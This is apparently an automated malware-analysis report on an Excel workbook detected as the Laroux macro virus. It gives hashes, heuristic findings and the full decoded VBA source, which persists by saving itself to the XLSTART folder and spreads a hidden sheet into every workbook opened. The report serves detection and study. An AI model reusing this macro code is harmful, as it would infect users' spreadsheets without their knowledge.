Office (OLE) malware analysis — malicious · 257f76e55722efcf

MALICIOUS

Office (OLE)

51.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2014-03-27

MD5: fc95022814e4cfebce4a54e6deda0b1e SHA-1: 9e130927bbe4c0c9e0826feef29cdca62d908791 SHA-256: 257f76e55722efcf560103e683649e6277cab6f22f441345f1e57e6d8ef5280a

228 Risk Score

Heuristics 5

ClamAV: Xls.Trojan.Laroux-32 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Trojan.Laroux-32
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE

The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
Matched line in script
```
    ChDir Application.StartupPath
```
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER

The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
Matched line in script
```
    Application.OnSheetActivate = "ck_files"
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub auto_open()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2205 bytes
SHA-256: `b0c438f98b5585ec7a1ece9d2de9b4520c10f0781b2157b821ed8ddca2a21702`
Detection ClamAV: Xls.Trojan.Laroux-32 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Results" Sub auto_open() Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14" Application.OnSheetActivate = "ck_files" End Sub Sub ck_files() Attribute ck_files.VB_ProcData.VB_Invoke_Func = " \n14" c$ = Application.StartupPath m$ = Dir(c$ & "\" & "RESULTS.XLS") If m$ = "RESULTS.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 Select Case whichfile Case 10 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name Sheets("results").Visible = True Sheets("results").Select Sheets("results").Copy With ActiveWorkbook .Title = "" .Subject = "" .Author = "" .Keywords = "" .Comments = "" End With newname$ = ActiveWorkbook.Name c4$ = CurDir() ChDir Application.StartupPath ActiveWindow.Visible = False Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _ , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _ False, CreateBackup:=False ChDir c4$ Workbooks(n4$).Sheets("results").Visible = False Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "RESULTS.XLS!ck_files" Case 1 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path s$ = Workbooks(n4$).Sheets(1).Name If s$ <> "results" Then Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1) Workbooks(n4$).Sheets("results").Visible = False Else End If Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "RESULTS.XLS!ck_files" Case Else End Select End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True

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